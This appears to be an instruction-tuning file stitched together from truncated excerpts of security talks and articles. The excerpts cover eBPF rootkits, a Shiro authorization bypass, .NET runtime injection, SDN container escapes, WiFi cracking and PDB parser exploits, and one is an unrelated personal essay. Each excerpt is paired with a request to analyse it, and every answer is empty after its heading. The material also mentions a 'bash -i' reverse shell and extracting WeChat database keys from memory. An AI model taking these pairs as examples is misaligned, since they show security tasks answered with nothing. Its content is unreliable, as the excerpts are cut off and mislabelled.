★ February: Low-level ﬁrmware completed
★ February: Production design ﬁnalized
★ March: Production component orders
★ April-May: Finish ﬁrmware
★ June: Program microcontrollers (Avnet)
★ June-July: Badge fabrication, assembly & test (e-Teknet)
★ July: Badges shipped to DEFCON (on time!)
Timeline
Yeah right!
The Development Process
Picture Show
Original sketch
The Development Process
Picture Show 2
Paper mock-up
The Development Process
Picture Show 3
Prototype hardware
The Development Process
Picture Show 4
Testing hardware
The Development Process
Picture Show 5
Writing low-level drivers
The Development Process
Picture Show 6
It works!
The Development Process
Picture Show 7
Final ﬁrmware development
★ 0.040" single-sided aluminum substrate PCB
★ Killer graphics by Neil, the DEFCON resident artist
★ Difﬁcult to ﬁnd a vendor that would take on this work
★ ...and do it for an affordable price
★ On aluminum? Yes. On circuit Board? No.
Laser Engraving!
Laser Engraving! 2
Laser Engraving! 3
Laser Engraving! 4
Early Block Diagram
★ Digital Signal Controller
๏ Part of the 56800/E family
๏ Main product page: http://tinyurl.
com/mc56f8006-info/
๏ Direct link to data sheet: www.freescale.com/
files/dsp/doc/data_sheet/MC56F8006.pdf
Freescale MC56F8006
•
16KB of Flash
•
2KB of RAM
•
6-channel PWM
•
18-channel, 12-bit A/D
•
Timer/RTC
•
2 PGA, 3 analog comparators
•
Serial communication/UART/
I2C/SPI
•
Up to 22 GPIO
•
32-pin LQFP, 7mm x 7mm
•
1.8V-3.6V operation
Freescale MC56F8006
๏ 128 x 32 pixels, 118...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

March 23 2004
Coming of Age
The number isn’t important, friends have been saying when
I talk about turning sixty. Some say, age is only a state of
mind. Some say, you’re as young as you feel. Some say,
age doesn’t matter.
And some say, why, you look great! which unfortunately
confirms that there really are three stages of life: youth,
middle-age, and you look great!
Well, my well-intended friends, I am here to tell you that
age does matter. In some ways, it matters a LOT.
When older people and younger people talk, they look at
each other differently.  Younger people have a shorter gaze.
I was taught the meaning of a long gaze by a high school
teacher, Miss McCutcheon, who gave me her long teacher’s
gaze during an English class. I felt like a butterfly, pinned
and wriggling. When another student asked what she was
seeing, she said simply, “Some day someone is really going
to love that boy.”
I couldn’t handle that. I was fifteen, fat and self-conscious
and confused, and I squirmed, turned red and snapped
something back ... but have never forgotten what she said.
At a time when love seemed beyond my reach, her insight
was deeper than mine, living as I did half-blind and half-
crazy in an adolescent storm of rain hail and thunder.
Coming up to sixty, we see other people, especially
younger ones, more often with that long look. We see who
they are and who they can become if they only attend to the
better angels of their natures.
Sometimes there are moments during such conversations
when it feels as if the years fall away and transparencies of
other conversations, ones that happened years ago, meld
with the one I am having now. Memories control the
present moment, capturing it with a force field of longing
and grief before the experience becomes transparent to its
underlying dynamics, the irrevocability of my own past
juxtaposed with seemingly innumerable futures for the one
to whom I am speaking, branching like blossoms of
forbidden opportunity.
Then the regret fades, r...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

BSD Security
Fundamentals
Sean Lewis
sml@subterrain.net
http://www.subterrain.net
Scope and Scale
• Focus: FreeBSD - enterprise hardware
support and most 'mainstream' of the open
source BSD trees.
• Security refresher and some new and
interesting BSD security information.
• Emphasis on host-based security, one of the
first layers of the security 'onion'
complimented with network-level security
[defense in-depth].
BSD – making inroads in the
Enterprise market
• BSD and systems w/ BSD frameworks being
deployed in the enterprise and with the end
user.
• Nokia firewalls - run FireWall-1 on IPSO
[based on FreeBSD 3.2]
• Juniper's Internet backbone router products,
designed for high-growth, high-capacity
networks, use code from FreeBSD.
• Other commercial BSD implementors include
Yahoo! and LinkExchange
The Basics
• If modifying an existing system, especially in
a production environment, make backups!
• Unnecessary services - go through
/etc/inetd.conf and rc.conf; disable what you
don't need [inetd.conf now shipped with
everything off by default] [rc.conf - disable
sendmail, SMTP and submission ports
25/587]
• Work with the latest version of the OS -
tracking STABLE is the best idea
Encrypted Communications
• Disable telnet (default in recent FreeBSD
releases) and enable SSH. OpenSSH is
included in the FreeBSD base system.
• Upgrade all your systems to OpenSSH 3.4p1
and use SSH version 2 with privilege
separation.
• Enable the sftp subsystem built into the
SSHv2 protocol rather than a standard ftpd
implementation if possible.
• Set up public key authentication with SSH
[DSA keys!] to prevent password
transmission, encrypted or otherwise!
File System Lockdown
• Partition out as much as possible; /, /usr, /var,
/tmp at a minimum. /home and /usr/local
should be considered as well.
• Mount non /usr or / [for /sbin] filesystems with
the 'nosuid' argument, especially /tmp.
• Search for and remove suid bits off of non-
used binaries [especiall...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

S-shiro权限绕过
环境搭建
源码地址
使用github下载器即可下载
CVE-2020-1957
代码配置
认证设置
package org.javaboy.shirobasic;
import org.apache.shiro.mgt.SecurityManager;
import org.apache.shiro.spring.web.ShiroFilterFactoryBean;
import org.apache.shiro.web.mgt.DefaultWebSecurityManager;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;
import java.util.LinkedHashMap;
import java.util.Map;
/**
 * @Author 江南一点雨
 * @Site www.javaboy.org 2019-06-05 11:16
 *
 * 在这里进行 Shiro 的配置
 *  Shiro 的配置主要配置 3 个 Bean 。
 *
 *  1. 首先需要提供一个 Realm 的实例
 *  2. 需要配置一个 SecurityManager，在 SecurityManager 中配置 Realm
 *  3. 配置一个 ShiroFilterFactoryBean ，在 ShiroFilterFactoryBean 中指定路径拦截规则
等
 */
@Configuration
public class ShiroConfig {
    @Bean
    MyRealm myRealm() {
        return new MyRealm();
    }
    @Bean
    SecurityManager securityManager() {
        DefaultWebSecurityManager manager = new DefaultWebSecurityManager();
        manager.setRealm(myRealm());
        return manager;
    }
    @Bean
    ShiroFilterFactoryBean shiroFilterFactoryBean() {
        ShiroFilterFactoryBean bean = new ShiroFilterFactoryBean();
        //指定 SecurityManager
controller代码
        bean.setSecurityManager(securityManager());
        //登录页面
        bean.setLoginUrl("/login");
        //登录成功页面
        bean.setSuccessUrl("/index");
        //访问未获授权路径时跳转的页面
        bean.setUnauthorizedUrl("/unauthorizedurl");
        //配置路径拦截规则，注意，要有序
        Map<String, String> map = new LinkedHashMap<>();
        map.put("/doLogin", "anon");
        map.put("/hello/*","authc");
        //map.put("/**", "authc");
        bean.setFilterChainDefinitionMap(map);
        return bean;
    }
}
package org.javaboy.shirobasic;
import org.apache.shiro.SecurityUtils;
import org.apache.shiro.authc.AuthenticationException;
import org.apache.shiro.authc.UsernamePasswordToken;
import org.apache.shiro.subject.Subject;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Warping Reality
Creating and countering
the next generation of
Linux rootkits using eBPF
Pat Hogan
@PathToFile
Overview
●
What are Linux kernel rootkits
●
Why writing and using rootkits is hard
●
How eBPF solves these problems and more
●
How to detect and prevent malicious eBPF usage
@pathtoﬁle
What are kernel rootkits?
Kernel Rootkits - Advantages
●
Attackers want to maintain access to
compromised machines
○
Credentials change, vulnerabilities get
patched, etc.
●
Hooking syscall table = visibility and control
○
See all network traﬃc
○
Hide ﬁles and processes
○
Create root processes
@pathtoﬁle
Kernel Rootkits - Risks
●
Small bugs can cause major problems
○
Crashing the kernel means crashing the
system
●
Any update to the kernel risks disaster
●
Some environments block arbitrary kernel
modules (e.g. Amazon EKS)
@pathtoﬁle
“How about we add
JavaScript-like capabilities to the
Linux Kernel?”
- Thomas Graf, Isovalent, 2020
What is eBPF?
eBPF
●
eBPF (extended Berkeley Packet Filtering)
●
Experienced rapid growth in last ~2 years
●
eBPF allows you to create programmable trace
points in the kernel
●
Programs can be attached to:
○
Network Interfaces
○
Kernel functions
○
User mode functions
●
eBPF programs are guaranteed to be:
○
Safe
○
Eﬃcient
○
Portable
@pathtoﬁle
eBPF - Safe and Eﬃcient
●
Programs typically written in C or Rust
●
Has variables, loops, conditionals
●
Can call a small number of helper functions
●
Compiled by LLVM or GCC into bpf bytecode
●
Architecture agnostic
●
Kernel version agnostic
@pathtoﬁle
SEC("tp/syscalls/sys_enter_execve")
int handle_execve_enter(struct trace_event_raw_sys_enter *ctx)
{
    char prog[TASK_COMM_LEN];
    bpf_probe_read_user(&prog, sizeof(prog), ctx->args[0]);
    bpf_printk("Execve: %s", prog);
    return 0;
}
int handle_execve_enter(struct
trace_event_raw_sys_enter * ctx):
; bpf_probe_read_user(&c, sizeof(c), ctx->args[0]);
   0: (79) r3 = *(u64 *)(r1 +16)
   1: (bf) r6 = r10
   2: (07) r6 += -16
; bpf_probe_read_user(&c...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Church of WiFi
Wireless
Extravaganza
Today’s Brethren:
Thorn
theprez98
Renderman
Who Are The CoWF?
Q: Pirates? Ninjas? Pirates
with stealthy Ninja skills?
Ninjas who say "Arrgh"?
A #1: A “Church” where they
do “WiFi Voodoo”
Who Are The CoWF?
A #2: A bunch of Monkeys
who wear Pope hats
The Problem…
The Problem…
• No skillz!
• “You know, like
nunchuck skills,
bowhunting skills,
computer hacking
skills... Girls only
want boyfriends who
have great skills.”
The Idea…
Learn + Touch =
DO!
“I care about
demonstrating and
inciting 'hacker
attitude' toward my
fellow attendees...”
-c0nverge
The Concept…
• Things we liked: Hands-on at Lockpick
Village & LosT’s informal breakout
• Provide an area for wireless tutorials, mini-
presentations and breakout sessions
• Act as an introduction to the various
wireless contests
Learn + Touch = DO!
The Solution:
Skybox 209
Wireless Village: Breakouts
• Breakout sessions are for any RF/Network
subject
– PSP Wireless Hacking (Squidly1)
– RF Direction Finding (Renderman)
– RFID (Thorn)
– Even more! (WEP Cracking, WPA Cracking…)
Learn + Touch = DO!
Learn + Touch = DO!
Provide an open environment for learning of
wireless network technologies
– Contests and tutorials: all skill levels from
beginner to expert
– Breakout sessions: to introduce people to the
wireless contests
– Mini-presentations and demonstrations: provide
an venue for wireless speakers to follow-up their
presentations with hands-on demos, classes, etc.
Skybox 209
DC Wireless Contests
• Integrated to the Village
• Allows people to learn a skill at the Village
and then compete.
Learn + Touch = DO!
WPA-PSK ”Rainbow Tables”
• Same idea as LM or other “Rainbow”
tables: Time vs. Computing power tradeoff
• 2006: 172,000 word dictionary x 1,000 most
common SSIDs = 7 gig tables
WPA-PSK ”Rainbow Tables”
This year: 1,000,000 password dictionary x
1,000 most common SSIDs =
35GB
YIKES!
CoWF “Distro”
• USB-bootable full-Linux distro on a
100GB+ 3.5” HD (BackTrack 2 based)
• Boot off any laptop...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

在v2ex看到一个项目《给女朋友生成一个聊天年度报告》 https://github.com/myth984/wechat-report
，尝试做了一个后觉得挺好玩，想到之前做的小8机器人加了很多安全群，能否给这些群统计一下做个报
告呢？
数据提取
说干就干，原项目使用ios导出数据的功能获取数据，感觉有点麻烦，小8机器人运行在windows的Pc微
信上，直接从Pc微信把数据脱出来就行了。
PC微信的数据库是sqlite，但是加密了，参考 https://bbs.pediy.com/thread-251303.htm 从内存中提
取 key 进行解密，就能得到数据库了。
微信群摸鱼报告
把开源项目的前端简单修改了一下，为小8加的所有群都生成了一次 微信群聊年度报告 。
例: hacking8安全信息流交流群的报告 https://i.hacking8.com/wechat-report/17715724893@chatroo
m
获取报告
如果群内加了小8机器人，可以在群内输入 @A' 小8 报告  ，即可获得一份群内专属报告链接。
安全圈微信群摸鱼报告
既然小8加的都是些安全群，是否能根据群消息分析安全圈微信群的摸鱼报告呢。
大数据分析安全圈已经有很多珠玉在前的报告，例如 404notfound 师傅的以博客数据的分析《我分析
了2018-2020年青年安全圈450个活跃技术博客和博主》， gainover 师傅的以微博数据为主的分析《安
全圈有多大？也许就这么大！》，这次尝试用微信数据进行分析，看看安全圈微信群的摸鱼现状~
注： 下面分析采用的数据是小8机器人加的群，总计有81个，不能反映真实情况，不要当真！
哪一天说话最多？
小8推出并加群的时候才11月份，所以统计的也就是这两个月的。最小值 161 ,最大值 6972 ，平均值在
2139 。看到12月10日最多，超出第二名几乎一倍，这一天发生了什么？
往回看聊天记录，才知道12月9日晚上，log4j2的漏洞预警发布，到了12月10日，exp已经流传开了，各
种复现成功的图片和payload 爆发流传，所以12月10日应该可以看作是log4j2漏洞爆发的第一天。
大家一般都在哪个时间段说话？
可以看到两个高峰，一个是11点，一个是16点，说话比较多，这个时间正是人一天中精力最旺盛的时
候。从21点到0点的时候，也有一个上升的坡度，且发言数都大于平均值，说明在安全人员在晚上也会
进行一些活动。
安全人员喜欢哪个语言？
php 还是不是安全人员最喜欢的语言？怀着这样的疑问进行了统计。先对发言的内容进行分词
（jieba），再和下面的数据取交集。
结果如下
programs = ["asp", "php", "java", "python", "go", "golang", "node",
"javascript", "js", "rust", ".net", "c#",
            "csharp", "c", "ruby","nim"]
java和go的讨论最多，php在第三位。
哪个安全研究人员id被最多讨论？
通过以下字典可以汇总安全研究人员的id
去除了一些字典杂质后提及次数大于5统计如下,当然这个数据不能说明什么，仅供参考。
https://github.com/404notf0und/Security-Data-Analysis-and-Visualization
https://raw.githubusercontent.com/jiesson/MyPYP/be9496150c1f23aaf294ca2bdbbfcb90
0ad6731a/CTF/%E5%AD%97%E5%85%B8/fuzzDicts-master/userNameDict/sec_id.txt
安全id
提及次数
chybeta
99
l1nk3r
49
aliyun
33
anquanke
27
hacking8
19
orange
15
seebug
14
mars
14
Zedd
12
gh0st
10
hone
10
gh0stkey
9
neargle
9
love
9
Wing
8
payloads
8
z3r0yu
8
boy-hack
8
white
7
space
7
phith0n
6
LoRexxar
6
online
6
hexo
5
leavesongs
5
Cytosine
5
anyu
5
标签云图
大家更喜欢讨论哪家安全公司？
因为没有公开的数据统计安全公司做词库，所以就百度了一下网络安全的公司，选了几个，不是很全。
统计次数高的top10如下:
companies = ["360", "启明星辰", "华为", "深信服", "绿盟", ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Forensic Data Recovery – MyHardDriveDied.com © 2009
1
RAID by Sight and Sound
By Scott A. Moulton
Of
My Hard Drive Died &
Forensic Strategy Services LLC
Forensic Data Recovery – MyHardDriveDied.com © 2009
2
Topics for Talk
•  Brief Coverage of NOT RAID
•  Brief Intro to RAID
•  RAID 0
•  RAID 5
•  Demo of Rebuild
Forensic Data Recovery – MyHardDriveDied.com © 2009
3
Assumptions
•  We are assuming you have already
done what I previously described in
previous videos and classes to
repair the damaged drive.
•  You now have a running drive and
have imaged it in some fashion and
will use that for reassembly.
Forensic Data Recovery – MyHardDriveDied.com © 2009
4
RAID Array’s
•  Redundant  Array of (Inexpensive
or Independent) Disks.
•  Some arrays are not “Redundant”
•  Different types of arrays may need
different numbers of drives in the
array and may give you different
results in free space available by
how they are setup.
Forensic Data Recovery – MyHardDriveDied.com © 2009
5
JBOD Drives
•  Means “Just a Bunch of Disks” and they are just
linked logically together end to end.
•  These drives usually have no fan, get very hot and
contain several drives. Sometimes the cables are
melted together.
•  I have found that some recoveries that are using
these JBOD will work once repaired, even if the
Lacie board is burnt out, just by placing them in a
G5 and connecting them and booting on a Mac
external disk. This is great for when you cannot
repair the Lacie board or power supply.
Forensic Data Recovery – MyHardDriveDied.com © 2009
6
LaCie and other JBOD Drives
Forensic Data Recovery – MyHardDriveDied.com © 2009
7
LaCie and other JBOD Drives
Forensic Data Recovery – MyHardDriveDied.com © 2009
8
LaCie NAS Boxes
Forensic Data Recovery – MyHardDriveDied.com © 2009
9
Dynamic Disks
•  Dynamic disks do not use partition tables,
they use LDM which is at the end of the disk
and needs to be done backwards. It uses
one sing...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Tencent Blade Team
公有云SDN的安全风险与加固
演讲人：杨韬
2019
About Me
•
安全平台部高级工程师
•
Tencent Blade Team
•
安全预研，SDN、BIOS、TEE
About Tencent Blade Team
受邀参加Blackhat USA、DEFCON、HITB、
CanSecWest、CSS、KCon、XCon等多个海内外
顶级安全会议
多次受邀参加
海内外顶级安全会议
Amazon、小米、华为等多个品牌官方认可，
获小米安全年度最佳守护者，荣获华为漏洞
奖励计划官方认可
获Amazon、小米、华
为等多个品牌官方认可
为腾讯Tday、腾讯首届技术文化周等活
动输出泛安全影响力
输出全行业
泛安全影响力
成功发现首个TensorFlow框架自身安
全漏洞，并包揽TF已知前七个漏洞
谷歌TensorFlow
成功发现SQLite存在严重漏洞，影响
Chromium浏览器和大量Android、iOS应用
发现SQLite严重漏洞
成功破解Amazon Echo、Google
Home、小米智能音箱等IoT设备
深耕IoT领域
目录
CONTENTS
PART 01
SDN
01
PART 02
Beyond VM
02
PART 03
Devops without Sec
03
PART 04
Naughty Docker
04
PART 05
GreatWall
05
PART 06
Conclusion
06
PART
01
SDN
技术背景
租户隔离
SDN技术背景
SDN技术背景
SDN的优势
•
物理拓扑与逻辑拓扑不再绑定
•
按需实时变更逻辑拓扑
•
按需实时生成网络功能
SDN租户隔离
公有云SDN的核心特性
•
云上几乎所有业务的共需
•
具备多种实现方式
•
守护云安全的绝境长城
IAAS
K8S
裸金属
PART
02
Beyond VM
从VM被入侵说起
Beyond VM
问：某用户购买的VM被入侵，
应如何处理？
Beyond VM
问：某用户购买的VM被入侵，
应如何处理？
答：好像可以卖一套安全产品，
说不定再加一套安全服务哦~
Beyond VM
追问：是用户买的VPN被黑了，
咋办？
Beyond VM
追问：是用户买的VPN被黑了，
咋办？
哦豁……
NETCONF对外开放弱密码……
Beyond VM
1.
VPN也是一台VM
2.
VPN和用户其他VM在同一虚拟网络
但是
VPN VM受SDN控制器管理配置
VPN VM可逃离租户隔离限制！！！
业务系统
OSS
控制器集群
IDC
IDC
跳板机
Restful
Restful
syslog
Netconf
Ssh
管理界面
租户界面IPsecVPN
管理界面
租户界面SSLVPN
访问
控制
PART
03
Devops without Sec
愿安全与你同在
Devops without Sec
经验教训
•
SDN安全配置在产品迭代中可能丢失
•
SDN网络隔离必须结合加密通信、ACL控制形成纵深
•
SDN跨越隔离边界的实体必须监控网络通信
PART
04
Naughty Docker
非典型容器逃逸
Naughty Docker
舞台：Serverless
主角：Docker
演出时长：300s
剧本：whatever
Naughty Docker
天气风和日丽，发现了有趣的事~
•
0秒，X母机Y1容器，bash –i反弹Shell
•
306秒，X母机Y2容器，下载扫描工具
•
630秒，X母机Y3容器，下载扫描工具
•
800秒，X母机Y3容器，下载某POC工具α
Naughty Docker
•
800秒，X母机Y3容器，下载某POC工具α
•
1000秒，X母机Y3容器，下载某POC工具β
•
1080秒，X母机，执行ifconfig、whoami、id
母机API漏策略没隔离！！！
PART
05
Greatwall
万里长城永不倒，也别漏
Greatwall
经验教训
•
逃逸不一定是漏洞，也许是SDN网络隔离失效
•
针对容器/母机的强健监控，保障了SDN的持续进化
•
SDN网络隔离，云服务安全长城的基石
PART
06
Conclusion
SDN安全，公有云的安全基石
Conclusion
•
攻击面
•
典型问题
•
配置不当
•
可用性问题
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Attacking .NET
Applications at
Runtime
Jon McCoy - 2010
www.DigitalBodyGuard.com
What will this presentation cover?
How to pWN closed-source .NET
applications in new and dynamic ways
New tools I am releasing
Show how incredibly vulnerable .NET
applications are
What tools will you get?
New Metasploit payload
Tools to do reconnaissance, on the
structure of .NET programs
Beta - Decompilation Tool targeted at .
NET Applications protected by
wrappers/shells
What will the hack do?
Gain access to a target application
Compromise the GUI
Subvert core logic
Instantiate new features
Access the Object structure
Connect to the Target
Inject - Put your code into the target
Infect - Change the target's code
Exploit - Take advantage of a flaw
Attack The Framework - Compromise the
framework
How the hack works: Overview
1. Connect to the target application
-Connect With Injection
2. Access targets Object structure
-Move around with Reflection
3. Modify values and/or Objects
-Modify Objects with Reflection
Normal Runtime Object Structure
GUI
Hacked Object Runtime Structure
GUI
Sample Code: Hack Event
Reflection
DEMO
GUI_Spike
LEET a Program
VIDEO OF DEMO HACKS
NOT LIVE DUE TO TIME
APPLICATION
Live demo
Data Piggyback
SQL
FIN < NULL
Special Thanks To
Related Works of
James Devlin
www.codingthewheel.com
Sorin Serban
www.sorin.serbans.net/blog
Erez Metula
paper: .NET reverse engineering
& .NET Framework Rootkits
Thanks to assistance of
Lynn Ackler
Thank you for the mentorship and training in forensics.
Daniel DeFreez
Thank you for the help on research and vulnerability analysis
(also the metasploit module) :-)
Andrew Krug
Thank you for the advanced IT support & shinyness.
Adam REDACTED
Thanks you for the IT Support; specifically hardware.
License
DotNetSpike and This Presentation are Licensed Under
GNU General Public License - Ver. 3, 29 June 2007
This is an open source presentation presented at Defcon 18
with Tools released at Blackhat 2010
More information at:
http://w...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Secure SofwareDevelopment LifeCycle
为您构架安全的业务系统
企业最佳安全实践
系统安全
网络安全
应用安全
1990-2017
2002-2017
2006-2017
网络攻击的方向
木桶原理
安全攻击，最薄弱环节的攻击；
安全问题，最薄弱环节的集群式爆发；
最薄弱环节的攻击
没有考虑安全设计的业务系统，理论上安全风险较高；
没有经过长时间考验的业务系统，实际安全风险较高；
没有经过验证的业务逻辑，带来的新形式的攻击较多。
最新业务的攻击
漏洞
防御
体系
威胁
防御
体系
漏洞防御体系
依照漏洞思维来建立的防御系统：
1、既有漏洞的安全经验；
2、测试发现的漏洞情况；
优势：简单、快速、高效；
劣势：不够全面、攻击样板点需要足够、未知风险较高
现状：目前互联网主流模式，大量SRC起来的原因都在此
威胁防御体系
通过建立威胁模型，来充分发现软件产品中的威胁，在设
计、开发、测试、运维等各个角度来削减威胁，最后达到
一个动态的平衡。
优势：系统、全面、成本可控；
劣势：体系建设需要一个周期，全员质量
现状：目前行业仅TOP 100强开始超这个思路建设
软件安全建设思路
安全防御体系
增加攻击成本
网络安全
降低安全风险
敏捷开发环境，特别在DevOps模式下，留给
安全测试人员的时间非常有限，无法充分发现
安全问题；
敏捷开发模式下安全测试
01
在开发环境中，安全人员数量有限，多项目并
行交付、上线过程中，无法进行充分的安全测
试；
多项目并行环境
02
目前软件开发过程中，会引入大量的第三方组
件，第三方组件的安全问题爆发，会导致整个
产品的安全问题；
第三方代码带来的安全问题
03
在线系统出现问题后，如何快速解决以及溯源
应急响应机制
04
面临
挑战
软件安全开发生命周期，主要目的是通
过系统的体系，帮助软件开发厂商在需
求、设计、开发、测试、部署上线等各
个阶段降低安全风险，提升安全能力。
安全设计
设计
安全测试
测试
安全需求
需求
安全开发
开发
S-SDLC
软件安全开发生命周期
部署
上线
安全风险
Security Risk
Network
Application
Mobile
Cloud
IoT
Mobile TOP 10 Risk
M1-平台使用不当
M2-不安全的数据存储
M3-不安全的通信
M4-不安全的身份验证
M5-加密不足
M6-不安全的授权
M7-客户端代码质量问题
M8-代码篡改
M9-逆向工程
M10-无关的功能
OWASP TOP 10
A1 － 注入
A2 －失效的身份认证和会话管理
A3 －跨站脚本（ XSS）
A4 － 不安全的直接对象引用
A5 －安全配置错误
A6 －敏感信息泄漏
A7 － 功能级访问控制缺失
A8 －跨站请求伪造 （ CSRF）
A9 － 使用含有已知漏洞的组件
A10 － 未验证的重定向和转发
IoT TOP 10
I1 － 不安全的Web界面
I2 －不完备的认证授权机制
I3 －不安全的网络服务
I4 － 缺乏传输加密
I5 －隐私处理存在问题
I6 －不安全的云环境
I7 －不安全的移动设备环境
I8 －不完备的安全配置
I9 －不安全的软件、固件
I10 －薄弱的物理安全保护
100%的IoT设备接受123456这样的弱密码
100%的IoT设备没有闭锁机制
100%的IoT设备有枚举风险
70%的IoT设备的SSH通道有root帐号权限
60%的IoT设备的web页面有XSS和SQL
injection问题
70%的IoT设备没有加密机制
80%的IoT设备收集用户个人信息
90%的IoT设备没有多重认证机制
90%的IoT设备的软件升级过程有安全漏洞
安全风险导致问题
IoT全球DDOS攻击案例
安全风险削减过程 Security Risk Reduction
威胁
分析
安全
设计
安全
开发
安全
测试
安全
部署
建立安全开发体系 S-SDLC
需求
设计
开发
测试
部署和
运维
-
风险评估
-
威胁建模
-
设计审核
-
攻击面分析
-
安全开发
-
代码审核
-
安全测试
-
渗透测试
-
安全加固
-
补丁管理
-
漏洞管理
-
安全事件响应
-
风险评估模板
-
威胁库
-
设计审核模板
-
公共安全组件
-
静态分析工具
-
动态分析工具
-
第三方渗透测
试
-
安全基线
-
扫描、监控、
管理工具
培训、政策、组织能力
敏捷开发模式
S-SDLC
• 环境初始
化
• 威胁建模
• 安全开发
• 持续集成
• 自动化部署
• 安全运维
• 持续测试
• 更新设计
• 代码审核
• 渗透测试
设计
开发
测试
部署
THANKS
www.seczone.cn
4000-983-18...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Developing Multi-Agency
Interoperability
Communications Systems:
User's Handbook
Applicable To:
ACU-1000 Modular
Interface/Interconnect System
And
TRP-1000 Transportable Radio
Interconnect System
ACU/TRP-1000 Handbook
Page ii
Developing Multi-Agency Interoperability Communication
Systems: User’s Handbook
ACU-1000 Modular Interface/Interconnect System
And
TRP-1000 Transportable Radio Interconnect System
Presented by:
Office for Domestic Preparedness
This project was supported by Contract GS-10F-0088I/2001BF505TO02, Task Order 2001TO046, awarded by
the U.S. Department of Justice, Office of Justice Programs to Community Research Associates, Inc.  The As-
sistant Attorney General, Office of Justice Programs, establishes the policies and priorities, and manages and
coordinates the activities of the Office of Justice Programs, Bureau of Justice Statistics, National Institute of
Justice, Office of Juvenile Justice and Delinquency Prevention, and the Office for Victims of Crime.  Points of
view in this document are those of the author and do not necessarily represent the official position of the U.S.
Department of Justice and Community Research Associates, Inc.
ACU/TRP-1000 Handbook
Page iii
Foreword
The Office of the Assistant Attorney General, Office of Justice Programs (OJP) is providing funds through the
Office for Domestic Preparedness (ODP) State Domestic Preparedness Equipment Program for the purchase
of specialized equipment to help enhance the capabilities of State and local units of government to respond to
acts of terrorism involving chemical and biological agents, as well as radiological, nuclear, and explosive de-
vices.
This handbook is the result of a developed and focused effort by the ODP to address interoperability and is
intended to enhance communications among the numerous agencies who would respond to large-scale terror-
ism incidents or emergencies.
To further enhance that effort, the ODP provided more than 50 ACU/TRP-1000 sys...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Smartfuzzing the Web
Carpe Vestra Foramina
Friday, June 24, 2011
Out of Date
• This presentation is out of date.
– Grab an updated copy from our Google Code
Page
• http://code.google.com/p/raft
2
Friday, June 24, 2011
Who are we?
• Nathan "Nate Dawg" Hamiel
• Gregory "G-Fresh" Fleischer
• Seth "The Law" Law
• Justin "J-Roc" Engler
Friday, June 24, 2011
Presentation Overview
• Problems with current tools
• Current workarounds
• Proposed solutions
• RAFT
Friday, June 24, 2011
Testing Tools Are Lacking
• Semi-automated web testing tools can be pretty dumb
o Pick your poison, each one falls down at some point
o Session data stays stale
o State maintenance sucks or non-existent
o Can't handle things beyond simple applications
o Don't allow the import of externally-collected data
• What about modern technologies?
o CSRF Tokens
o Randomized DOM variables
o RIA apps
o Web services
o JS/AJAX
Friday, June 24, 2011
The Problems Continue
• Typically no analysis is performed
o Testing responses alone may contain a treasure trove of
vulnerabilities that are not currently identified
o Analysis only runs on current request, what about all the
old data?
o Just because HTTP is stateless, doesn't mean our
analysis has to be.
o No vulnerability or sensitive data identification
• Testers don't need abstraction
o APIs and difficult formats
• Missing simple features
o Request time
Friday, June 24, 2011
And Continue Again
• Difficult cases
o Risk based logins
o Login confirmation on next step
o In-session detection
Friday, June 24, 2011
And Continue Yet Again
• External tools and custom scripts
o Can be painful
o No analysis
o Request/response diffs
o Syntax highlighting (duh)?
o Full request/response logging
• Data in multiple tools
o No cross-tool analysis
o Archiving problems with collected data
o Limited ability to find "new" bugs in old data
Friday, June 24, 2011
What Do People Do?
• Test manually
o First of all, Yuck!
o Modify other tools for purposes which they weren't
...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

#BHUSA   @BlackHatEvents
Crashing Your Way to
Medium-IL: Exploiting the PDB
Parser for Privilege Escalation
Gal De Leon (@galdeleon)
Palo Alto Networks
Who am I?
●
Gal De Leon (@galdeleon)
●
Principal security researcher at Palo Alto Networks
●
Interested in fuzzing, vulnerabilities, exploits and mitigations
●
Microsoft MSRC MVSR 2018, 2019, 2020
○
~40 vulnerabilities
2
Agenda
●
What are PDBs?
●
Finding vulnerabilities in PDB parser
●
Attack surfaces
●
Exploit & Demo
3
●
Store debugging info (symbols) about an executable
●
Function names, globals, type info …
●
Created from source ﬁles during build
●
Used by debuggers
What are PDB Files?
4
0:007> .reload /f notepad.exe
0:007> x notepad!*
00007ff7`9b4c4520 notepad!__scrt_uninitialize_thread_safe_statics (void)
00007ff7`9b4a86b0 notepad!ShowOpenSaveDialog (void)
00007ff7`9b4c09e8 notepad!StringLengthWorkerW (void)
00007ff7`9b4c38e0 notepad!initialize_printf_standard_rounding (void)
00007ff7`9b4a1640 notepad!`dynamic initializer for 'szFileName'' (void)
...
The PDB File Format
●
Proprietary ﬁle format by Microsoft
○
Binary
○
Multi Stream Format (MSF)
●
Open sourced for non-MS compilers to produce PDBs
●
Parser implemented in Dbghelp.dll
○
Shipped by default
○
API to debug a process, load PDBs, extract symbols data ...
5
Let’s Fuzz PDB
6
Fuzzing Setup
7
●
Corpus - ~5000 PDBs from several sources
●
Test Harness - A program that loads a PDB ﬁle and parse it
○
Dbghelp!SymLoadModule
●
WinAFL fuzzer
Corpus
Mutator
Run
Harness
Crashes
Start
Repeat
8
What is the Attack Surface?
●
Remote symbols servers
●
Attacker controls / MitM symbols server can serve arbitrary PDBs
9
0:007> .sympath srv*http://msdl.microsoft.com/download/symbols
Symbol search path is:
srv*http://msdl.microsoft.com/download/symbols
Expanded Symbol search path is:
srv*http://msdl.microsoft.com/download/symbols
0:007> .reload /f notepad.exe
Victim Debugger
Symbol Server
Attacker
(MitM)
Report to Microsoft MSRC
●
18-08-2020 - Initial report to Microsoft ...


Instruction: 请分析这段安全相关的文本内容

Output:
安全文本分析：

Cloud
inSecurity
TT@chroot.org
HIT2008
